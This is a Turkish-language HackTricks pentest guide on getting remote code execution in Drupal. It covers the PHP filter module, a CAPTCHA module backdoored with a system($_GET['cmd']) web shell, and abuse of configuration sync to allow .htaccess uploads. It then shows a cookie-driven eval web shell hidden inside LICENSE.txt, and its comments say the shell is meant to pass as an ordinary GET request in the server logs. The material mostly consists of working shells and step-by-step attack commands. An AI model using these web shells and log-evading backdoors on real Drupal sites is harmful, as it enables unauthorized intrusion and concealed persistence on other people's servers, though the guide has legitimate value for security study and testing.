Drupal RCE

HackTricks'i Destekleyin

PHP Filtre Modülü ile

Eski Drupal sürümlerinde (sürüm 8'den önce), admin olarak giriş yapmak ve PHP filter modülünü etkinleştirmek mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.

php eklentisinin yüklü olması gerekir ( /modules/php adresine erişerek kontrol edin ve eğer 403 dönerse, mevcuttur, eğer bulunamazsa, o zaman php eklentisi yüklü değildir)

Modüller -> (Kontrol Et) PHP Filtre -> Yapılandırmayı kaydet

Ardından İçerik ekle -> Temel Sayfa veya Makale seçin -> gövdeye php shellcode yazın -> Metin formatında PHP kodu seçin -> Önizleme seçin

Son olarak, yeni oluşturulan düğüme erişin:

curl http://drupal-site.local/node/3

PHP Filtre Modülünü Kurun

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimi ile eklenti kurmak artık mümkün değildir.

8 ve sonrası sürümlerde, PHP Filtre modülü varsayılan olarak kurulmamıştır. Bu işlevselliği kullanmak için modülü kendimiz kurmamız gerekecek.

  1. Modülün en son sürümünü Drupal web sitesinden indirin.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. İndirdikten sonra Yönetim > Raporlar > Mevcut güncellemeler bölümüne gidin.

  4. Gözat butonuna tıklayın, indirdiğimiz dosyayı seçin ve ardından Kur butonuna tıklayın.

  5. Modül kurulduktan sonra, İçerik butonuna tıklayıp yeni bir temel sayfa oluşturabiliriz, Drupal 7 örneğinde yaptığımız gibi. Yine, Metin biçimi açılır menüsünden PHP kodunu seçtiğinizden emin olun.

Arka Kapılı Modül

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimi ile eklenti kurmak artık mümkün değildir.

Arka kapılı bir modül, mevcut bir modüle bir shell ekleyerek oluşturulabilir. Modüller drupal.org web sitesinde bulunabilir. CAPTCHA gibi bir modül seçelim. Aşağı kaydırın ve tar.gz arşivinin bağlantısını kopyalayın.

  • Arşivi indirin ve içeriğini çıkarın.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Aşağıdaki içerik ile bir PHP web shell oluşturun:

<?php
system($_GET["cmd"]);
?>
  • Sonra, kendimize klasöre erişim sağlamak için bir .htaccess dosyası oluşturmamız gerekiyor. Bu, Drupal'ın /modules klasörüne doğrudan erişimi reddetmesi nedeniyle gereklidir.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Yukarıdaki yapılandırma, /modules içinde bir dosya talep ettiğimizde / klasörü için kuralları uygulayacaktır. Bu iki dosyayı captcha klasörüne kopyalayın ve bir arşiv oluşturun.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Web sitesine yönetici erişimimiz olduğunu varsayarsak, yan menüde Yönet ve ardından Genişlet seçeneğine tıklayın. Sonra, + Yeni modül yükle butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin http://drupal-site.local/admin/modules/install Backdoor'lu Captcha arşivine gidin ve Yükle butonuna tıklayın.

  • Yükleme başarılı olduktan sonra, komutları çalıştırmak için /modules/captcha/shell.php adresine gidin.

Drupal'ı Konfigürasyon senkronizasyonu ile Backdoor'lama

Paylaşan: Coiffeur0x90

Bölüm 1 (Media ve Media Library aktivasyonu)

Genişlet menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, Media ve Media Library eklentileri etkin görünmüyor, bu yüzden bunları etkinleştirelim.

Aktivasyondan önce:

Aktivasyondan sonra:

Bölüm 2 (Configuration synchronization özelliğinden yararlanma)

Drupal konfigürasyon girişlerini dökme (ihracat) ve yükleme (ithalat) için Configuration synchronization özelliğinden yararlanacağız:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

İlk giriş olan allow_insecure_uploads'ı şu şekilde yamanlayarak başlayalım:

Dosya: system.file.yml


...

allow_insecure_uploads: false

...

Şuna:

Dosya: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

Sonra, ikinci girişi file_extensions'dan şu şekilde yamanız gerekiyor:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Şuna:

Dosya: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Bu blog yazısında kullanmıyorum ama file_directory girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında yukarı geri gidebiliriz).

Bölüm 3 (özellik Belge Ekle kullanımı)

Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerinden yararlanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyasıdır.

Dosya: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Neden bu hile havalı?

Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı $_COOKIE aracılığıyla iletebiliriz ve bu, Web sunucusu günlüklerinde, bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.

Neden Webshell'imize LICENSE.txt adını veriyoruz?

Basitçe, örneğin core/LICENSE.txt dosyasını alırsak (ki bu dosya Drupal çekirdeğinde zaten mevcut), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).

Dosya: Yamanmış LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Bölüm 3.1 (dosya yükle .htaccess)

Öncelikle, Apache direktiflerini içeren dosyamızı yüklemek için Belge Ekle (/media/add/document) özelliğini kullanıyoruz (.htaccess).

Bölüm 3.2 (dosya yükle LICENSE.txt)

Daha sonra, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için tekrar Belge Ekle (/media/add/document) özelliğini kullanıyoruz.

Bölüm 4 (Webshell ile etkileşim)

Son bölüm, Webshell ile etkileşimde bulunmaktan oluşmaktadır.

Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alırız.

Saldırgan çerezi ayarladığında, Webshell ile etkileşimde bulunabilir ve istediği herhangi bir komutu çalıştırabilir.

Ve loglarda görebileceğiniz gibi, yalnızca bir txt dosyasının talep edildiği görünmektedir.

Bu makaleyi okumak için zaman ayırdığınız için teşekkür ederim, umarım size bazı shell'ler elde etmede yardımcı olur.

Support HackTricks

Last updated